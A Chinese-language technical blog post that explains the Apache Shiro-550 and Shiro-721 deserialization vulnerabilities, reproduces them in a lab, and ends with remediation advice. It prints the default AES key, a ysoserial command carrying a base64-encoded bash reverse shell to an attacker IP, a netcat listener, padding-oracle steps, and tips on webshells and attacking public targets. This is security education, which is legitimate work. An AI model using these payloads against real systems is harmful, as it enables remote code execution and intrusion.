Shiro-550与Shiro-721漏洞原理、复现与防御深度解析

📅 2026/7/3 22:00:25 👁️ 阅读次数 📝 编程学习
Shiro-550与Shiro-721漏洞原理、复现与防御深度解析

1. 项目概述与核心价值

Shiro-550和Shiro-721这两个漏洞,可以说是Java安全领域里绕不开的“经典案例”。但凡你接触过企业级Java应用的安全测试或渗透测试,这两个名字大概率会出现在你的漏洞清单里。它们不仅仅是两个独立的CVE编号,更代表了两种截然不同的攻击思路和利用条件,理解它们之间的差异,对于构建有效的防御策略至关重要。简单来说,Shiro-550是一个“密钥泄露”导致的反序列化漏洞,攻击门槛相对较低;而Shiro-721则是一个需要“已知用户凭证”的“Padding Oracle”攻击,利用条件更为苛刻,但一旦成功,危害同样巨大。复现这两个漏洞,不仅仅是跑通一个攻击脚本那么简单,其核心价值在于深入理解Apache Shiro框架的安全机制在何处出现了断裂,以及攻击者是如何利用这些断裂点构造攻击链的。这对于安全开发人员、渗透测试工程师乃至安全运维人员来说,都是一次绝佳的学习机会,能够让你从攻击者的视角审视自己的应用,从而在代码编写和配置管理阶段就堵上这些安全缺口。

2. 漏洞原理深度剖析

2.1 Shiro-550漏洞:默认密钥的“原罪”

Shiro-550的根源在于一个设计上的“便利性”变成了安全性灾难。Apache Shiro框架为了简化开发者的配置,在早期版本中为CookieRememberMeManager组件硬编码了一个默认的加密密钥(kPH+bIxk5D2deZiIxcaaaA==)。这个组件的职责是处理“记住我”功能:当用户登录时选择“记住我”,Shiro会将用户的身份信息序列化,然后用这个密钥进行AES加密,最后Base64编码后存入一个名为rememberMe的Cookie中。下次用户访问时,Shiro会取出这个Cookie,逆向执行解密、反序列化操作来恢复用户会话。

漏洞就出在这个流程上。如果开发者在部署应用时,没有主动修改这个默认密钥,那么攻击者就相当于拿到了加密保险箱的万能钥匙。攻击者可以构造一个恶意的Java对象序列化数据(通常是一个利用链,如CommonsCollections),用这个已知的默认密钥进行AES加密和Base64编码,然后替换掉请求中的rememberMeCookie。Shiro服务端在收到请求后,会用内置的默认密钥成功解密这个Cookie,并毫无戒备地对解密后的数据进行反序列化操作。一旦反序列化执行,其中包裹的恶意代码(如命令执行)就会被触发。

注意:这里的关键是“反序列化”动作。Shiro框架信任了来自客户端(Cookie)的数据,并在解密后直接对其进行了反序列化,而没有做任何白名单校验。这违背了反序列化安全的基本原则:永远不要反序列化不可信的源数据。

2.2 Shiro-721漏洞:Padding Oracle攻击的艺术

Shiro-721则是一个更精巧、更现代的密码学攻击案例。在Shiro修复了550漏洞(强制要求开发者修改默认密钥)后,新的安全机制被引入。CookieRememberMeManager不再使用固定密钥,而是改为在应用启动时生成一个随机的AES密钥。这看起来解决了默认密钥的问题,但加密模式的选择留下了隐患。

Shiro使用了AES-CBC加密模式。CBC模式有一个特性:它需要“填充”(Padding)来使明文长度符合分块要求。在解密时,服务端会检查填充的字节是否合法(符合PKCS#5/PKCS#7标准)。如果不合法,服务端通常会返回一个与合法解密不同的错误(例如,一个PaddingException)。

Shiro-721漏洞利用的正是这个“差异”。攻击流程可以概括为“盲注”:

  1. 前提:攻击者需要先获取一个有效的、属于某个已知用户的rememberMeCookie。这可以通过社会工程学、密码爆破或其他漏洞(如信息泄露)获得。
  2. 攻击:攻击者将这个有效的Cookie作为“密文”,像玩拼图一样,一个字节一个字节地篡改它,并发送给服务端。
  3. 探测:通过观察服务端的响应(是返回“合法的解密但反序列化失败”错误,还是“填充错误”),攻击者可以推断出中间状态的值。
  4. 推导:利用CBC模式的数学结构,结合推断出的中间值,攻击者可以逐步推算出AES加密时使用的“初始化向量”(IV),并最终构造出能够解密出任意明文(即恶意序列化数据)的新密文。

这个过程完全不需要知道AES密钥本身,它利用的是服务端在错误处理时泄露出的“信息侧信道”。整个攻击可能需要进行上万次请求,耗时较长,但理论上只要有一个有效的用户Cookie,并且服务端存在可被利用的Java反序列化链,攻击就能成功。

2.3 两漏洞的核心差异对比

为了更清晰地把握两者区别,我整理了下面的对比表,这在实战中用于快速判断利用方向非常有用:

特性维度Shiro-550 (CVE-2016-4437)Shiro-721 (CVE-2019-12422)
漏洞本质默认密钥硬编码导致反序列化Padding Oracle攻击导致密文伪造
利用前提目标使用默认或已知的AES密钥拥有一个有效的用户rememberMe Cookie
攻击复杂度低(直接加密利用链)高(需要大量请求进行盲注)
关键步骤1. 构造恶意序列化数据
2. 用已知密钥AES加密
3. 替换Cookie发送
1. 获取有效用户Cookie
2. 通过Padding Oracle攻击伪造密文
3. 发送伪造的Cookie
修复方式修改cipherKey配置,使用强随机密钥升级Shiro版本,使用AES-GCM等认证加密模式

3. 复现环境搭建与工具选型

3.1 靶场环境部署

纸上得来终觉浅,绝知此事要躬行。复现漏洞的第一步是搭建一个安全的实验环境。强烈建议在虚拟机或隔离的Docker环境中进行,避免对宿主机或其他网络设备造成意外影响。

我通常采用两种方式:

  1. 使用现成漏洞靶场:比如vulhub项目。它提供了docker-compose编排的一键化漏洞环境,非常适合快速搭建。

    # 假设你已经克隆了vulhub项目 cd vulhub/shiro/CVE-2016-4437 docker-compose up -d

    执行后,一个存在Shiro-550漏洞的Web应用就会在本地8080端口启动。这种方式省时省力,环境纯净。

  2. 手动编译部署有漏洞的Shiro版本:为了更深入地理解,你可以从Apache官网下载Shiro 1.2.4等存在漏洞的版本,将其集成到一个简单的Spring Boot或Servlet Web应用中。你需要手动配置CookieRememberMeManager并使用默认密钥。这种方式能让你完全控制代码和环境,适合进行源码调试和原理追踪。

3.2 核心工具链准备

工欲善其事,必先利其器。复现这两个漏洞,你需要一套组合工具:

  • Java环境:JDK 8,这是大多数历史Shiro应用运行的环境。
  • 漏洞利用工具
    • ShiroAttack2:这是一个图形化/命令行工具,集成了密钥爆破、漏洞检测、利用链生成于一体,对新手非常友好。它内置了常见的密钥字典和利用链(如CC链、CB链)。
    • ysoserial:Java反序列化利用链的“瑞士军刀”。你需要用它来生成各种Gadget Chains的序列化payload。例如,生成一个调用计算器的CommonsCollections2链:java -jar ysoserial.jar CommonsCollections2 "calc.exe" > payload.ser
    • 定制化Python脚本:对于Shiro-721,你可能需要用到一些开源的PoC脚本,这些脚本实现了Padding Oracle攻击算法。例如,GitHub上的一些项目(如shiro-721-exploit)提供了参考实现。
  • 网络抓包与调试工具
    • Burp Suite:不可或缺。用于拦截、重放、修改HTTP请求,观察Cookie和响应差异,也是进行Padding Oracle攻击时自动化发包的理想平台(结合Intruder或Turbo Intruder插件)。
    • 浏览器开发者工具:用于简单查看请求和Cookie。

实操心得:工具版本很重要。不同版本的ysoserial生成的payload可能对应不同版本的Commons-Collections等库。务必确保你的靶场环境中的依赖库版本与ysoserial利用链所针对的版本匹配,否则反序列化会失败。一个常见的排查步骤就是检查靶场Web应用的WEB-INF/lib目录下的jar包版本。

4. Shiro-550漏洞复现实操详解

4.1 漏洞检测与密钥爆破

在发动攻击前,首先要确认目标存在Shiro框架,并且可能使用了默认或弱密钥。

  1. 框架指纹识别:访问目标应用,拦截任意请求(如登录请求)。观察响应头或响应体中是否包含rememberMe=deleteMe字段。这是Shiro在注销时设置Cookie的典型特征,是一个强指纹。此外,一些默认错误页面也可能包含Shiro字样。

  2. 使用工具进行密钥爆破: 打开ShiroAttack2,在目标URL处填入你的靶场地址(如http://192.168.1.100:8080/login)。工具会先发送一个特殊的探测请求,根据响应判断Shiro是否存在。 如果存在,则进入密钥爆破环节。ShiroAttack2内置了一个包含100多个常见密钥的字典(这些密钥来源于互联网上泄露的源码、配置文件等)。点击“爆破密钥”,工具会自动化尝试每个密钥去加密一个固定明文,然后发送请求,通过观察响应是否出现“合法的解密错误”(而非“解密失败”错误)来判断密钥是否正确。关键点:爆破成功的标志通常是,HTTP响应码依然是200,但返回体内容可能与之前不同,或者出现了javax.crypto.BadPaddingException之类的异常关键词(是否回显取决于应用配置)。ShiroAttack2会自动分析这些特征。

4.2 构造与发送反序列化Payload

当爆破出正确的密钥(例如确认是默认密钥kPH+bIxk5D2deZiIxcaaaA==)后,就可以构造攻击了。

  1. 生成恶意序列化数据: 我们需要一个能在目标服务器上执行命令的payload。假设靶场环境包含CommonsCollections4库。

    java -jar ysoserial.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.ser

    这个命令生成一个反弹Shell的payload。其中YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzY2NjYgMD4mMQ==bash -i >& /dev/tcp/192.168.1.100/6666 0>&1的base64编码(请将IP和端口替换为你的监听地址)。

  2. 加密并组装Cookie: ShiroAttack2工具简化了这一过程。在“利用”界面,选择爆破出来的正确密钥,选择对应的利用链(如CommonsCollections4),然后填入你的命令或反弹Shell语句,点击“攻击”。工具会在后台自动完成:用ysoserial生成序列化数据 -> 用指定AES密钥加密 -> Base64编码 -> 替换到rememberMeCookie -> 发送HTTP请求。 如果你手动操作,这个过程需要编写脚本,核心是模拟Shiro的加密过程:BASE64(AES-Encrypt(Serialized_Payload))

  3. 接收反弹Shell: 在攻击前,你需要在攻击机上用Netcat监听指定端口:

    nc -lvnp 6666

    当ShiroAttack2发送攻击请求后,如果一切顺利,你会在Netcat终端看到一个来自靶场的Shell连接。

4.3 实战中的注意事项与技巧

  • 利用链的选择:这是成功的关键。如果CommonsCollections4不成功,可以尝试CommonsCollections2CommonsCollections3CommonsBeanutils1等。这完全取决于靶场应用中实际存在的第三方库版本。ShiroAttack2的“检测利用链”功能可以帮你自动化测试哪些链是可用的。
  • 命令的编码与绕过:在实战中,目标系统可能没有bash,或者存在命令注入过滤。你需要根据目标系统(Linux/Windows)调整命令。对于Linux,可以尝试sh -c;对于Windows,可能是cmd /c。有时需要对特殊字符进行编码绕过。
  • 无回显利用:如果目标不出网(无法反弹Shell),可以考虑使用DNSLog、HTTPLog外带数据,或者执行写入Webshell、添加用户等操作。ShiroAttack2也支持这些payload的生成。
  • 加密模式:Shiro使用的是AES-CBC模式,并且IV(初始化向量)是随机生成的。但在加密时,Shiro将IV和真正的密文拼接在一起,然后整体做Base64编码。所以我们的攻击payload在加密时,也需要包含一个IV(可以是任意值,因为密钥已知,我们可以计算出对应的解密结果)。

5. Shiro-721漏洞复现实操详解

Shiro-721的复现过程更像一次精密的密码学实验,需要更多的耐心。

5.1 获取有效的RememberMe Cookie

这是整个攻击的基石。你需要以一个合法用户的身份登录目标系统,并勾选“记住我”。然后从浏览器或Burp Suite的请求中,提取出服务器返回的rememberMeCookie值。这个Cookie是经过有效密钥加密的你的身份信息。

模拟环境搭建:在你的靶场中,注册或使用一个默认账户(如admin/admin)登录并勾选“记住我”,然后从Cookie中复制这个长字符串。在后续攻击中,我们将以此为基础进行篡改。

5.2 Padding Oracle攻击原理与自动化

理解攻击原理有助于调试和解决问题。攻击的目标是伪造一个新的密文块C’,使得当它与前一个密文块(或IV)经过AES解密和XOR运算后,能产生我们想要的明文P’(即恶意序列化数据)。

攻击过程是逐字节进行的:

  1. 修改密文块C的最后一个字节,发送请求。
  2. 如果服务器返回“Padding Error”,说明我们修改后的密文解密后填充字节不合法;如果返回其他错误(如反序列化错误),说明填充字节合法(比如被解密成了0x01)。
  3. 利用这个“是/否”的信号,结合CBC的解密公式,可以推算出中间状态值的一个字节。
  4. 重复这个过程,可以从最后一个字节推算到第一个字节,最终得到整个中间状态值。
  5. 知道了中间状态值,我们就可以精心构造一个新的密文块C’,使得C’解密后与我们想要的明文P’进行XOR运算,得到我们刚才计算出的中间状态值。这样,C’就被“伪造”出来了。

由于这个过程需要数万次请求,必须依赖自动化脚本。你可以使用现有的Python PoC脚本,或者利用Burp Suite的Turbo Intruder插件编写攻击脚本。脚本的核心逻辑就是循环上述步骤,并根据服务器响应调整猜测值。

5.3 分步复现过程记录

  1. 环境确认:确保你的靶场是存在Shiro-721漏洞的版本(如Shiro < 1.4.2),并且使用了随机密钥。访问应用,确认可以获取到有效的rememberMeCookie。
  2. 启动攻击脚本:将获取到的有效Cookie、目标URL、以及你希望最终执行的命令(或序列化payload)作为参数,输入到Padding Oracle攻击脚本中。
  3. 监控攻击进程:脚本开始运行后,会向目标发送海量的HTTP请求。你可以在Burp Suite的Proxy历史记录或脚本输出中看到进度。这个过程可能持续几十分钟到数小时,取决于网络延迟和服务器性能。
  4. 获取伪造的Cookie:当脚本成功运行完毕,它会输出一个伪造的rememberMeCookie值。这个值看起来和原来的很像,但内部已经被“偷梁换柱”,解密后会是你的恶意payload。
  5. 发送攻击请求:手动或使用工具,将请求中的rememberMeCookie替换为这个伪造的值,然后发送请求。
  6. 验证攻击结果:如果攻击成功,你的命令将会在服务器上执行。你可以通过监听端口(对于反弹Shell)、查看DNSLog记录或检查服务器上是否生成了新文件等方式来验证。

5.4 复现难点与突破点

  • 时间成本:这是最大的难点。数万次请求对网络和服务器都是负担,也容易被WAF或IDS发现。在实验环境中,可以关闭不必要的日志或调低防护级别。
  • 错误响应的辨别:攻击脚本依赖于准确区分“填充错误”和“其他错误”。有些应用可能会统一返回500错误,或者自定义错误页面,这会导致脚本无法判断。你需要仔细分析正常解密失败和填充错误的响应差异,可能需要调整脚本中的响应判断逻辑。
  • 网络稳定性:攻击过程中不能有请求丢失或超时,否则会影响中间状态值的计算,导致攻击失败。确保实验网络环境稳定。
  • 利用链的兼容性:和Shiro-550一样,你最终伪造的密文解密后是一个序列化对象,所以同样面临利用链兼容性问题。你需要提前确认目标环境中存在可用的Gadget Chain。

6. 漏洞修复与安全加固建议

复现漏洞是为了更好地防御。针对这两个漏洞,修复措施是明确的:

  1. 立即升级Shiro版本:这是最根本的解决方案。升级到最新稳定版(如1.13.0或Apache Shiro 2.x),这些版本已经修复了已知的序列化漏洞并采用了更安全的加密模式。
  2. 强制修改加密密钥:如果暂时无法升级,对于Shiro-550,必须修改cipherKey配置。密钥必须是足够长且随机的Base64编码字符串。建议使用强随机生成器生成。
    # 在shiro.ini或Spring配置中 securityManager.rememberMeManager.cipherKey = your_strong_random_base64_key_here
  3. 禁用RememberMe功能:如果业务不需要“记住我”功能,最安全的方式是彻底禁用它。
  4. 使用反序列化过滤器:在Java环境中,可以考虑使用全局的反序列化过滤器,如ObjectInputFilter,来限制允许反序列化的类。但这需要JDK版本支持且配置复杂。
  5. 实施网络层防护:在企业边界部署WAF,配置规则以检测和拦截Shiro反序列化攻击的特征流量,例如异常的rememberMeCookie长度、大量的相似请求(针对721攻击)等。

7. 常见问题排查与解决实录

在复现过程中,你肯定会遇到各种问题。下面是我踩过的一些坑和解决方案:

  • 问题一:ShiroAttack2爆破密钥总是失败,但目标确定是Shiro。

    • 排查:首先检查网络连通性。其次,目标可能使用了非标准路径或自定义的Cookie名称。在ShiroAttack2中尝试修改“RememberMe Cookie Name”。另外,一些WAF或中间件可能会修改或丢弃异常Cookie,可以尝试在简单环境中测试。
    • 解决:使用Burp手动发送一个包含简单rememberMeCookie的请求,观察响应。最准确的方式是进行源码审计,确认CookieRememberMeManager的配置。
  • 问题二:密钥爆破成功,但发送Payload后无任何反应,Netcat没收到Shell。

    • 排查:这是最常见的问题。首先,检查利用链是否兼容。在ShiroAttack2中使用“检测利用链”功能。其次,检查命令是否执行成功。尝试一个简单的无害命令,如ping(如果出网)或touch /tmp/test(查看文件是否创建)。第三,检查防火墙规则,反弹Shell的端口是否被阻挡。
    • 解决:换用不同的利用链尝试。使用DNSLog等无回显验证方式确认命令执行。在靶场内部执行命令,确认命令语法正确。
  • 问题三:Shiro-721攻击脚本运行很久后失败,提示无法推断出某个字节。

    • 排查:这通常是由于错误响应判断不准确导致的。脚本可能将“填充错误”误判为成功,或者反之。用Burp拦截几次脚本发送的请求,对比服务器对“明显错误密文”和“原始有效密文”的响应差异(状态码、响应体长度、特定关键词)。
    • 解决:根据分析结果,调整攻击脚本中判断响应是否成功的逻辑函数。可能需要结合多个判断条件(如状态码、响应体包含特定字符串等)。
  • 问题四:复现环境一切正常,但实际测试某个公网目标时,所有攻击都不生效。

    • 排查:公网环境复杂得多。首先,目标可能已经修复漏洞(升级了Shiro)。其次,可能部署了WAF/IPS,拦截了攻击流量。第三,应用可能部署在多层代理或容器之后,Cookie可能被处理。
    • 解决:进行更细致的信息收集,尝试寻找其他入口点。Shiro漏洞的利用依赖于特定的条件,并非万能。

整个复现过程,从环境搭建到最终拿到Shell,是一个系统工程。它考验的不仅仅是对漏洞原理的理解,更是对工具使用、问题排查和实战调试的综合能力。最深刻的体会是,自动化工具极大地提升了效率,但真正遇到问题时,还是需要回归到原理和基础,通过抓包、调试、日志分析这些“笨办法”来定位根因。每一次成功的复现,都是对Java安全机制和密码学应用一次更深刻的理解。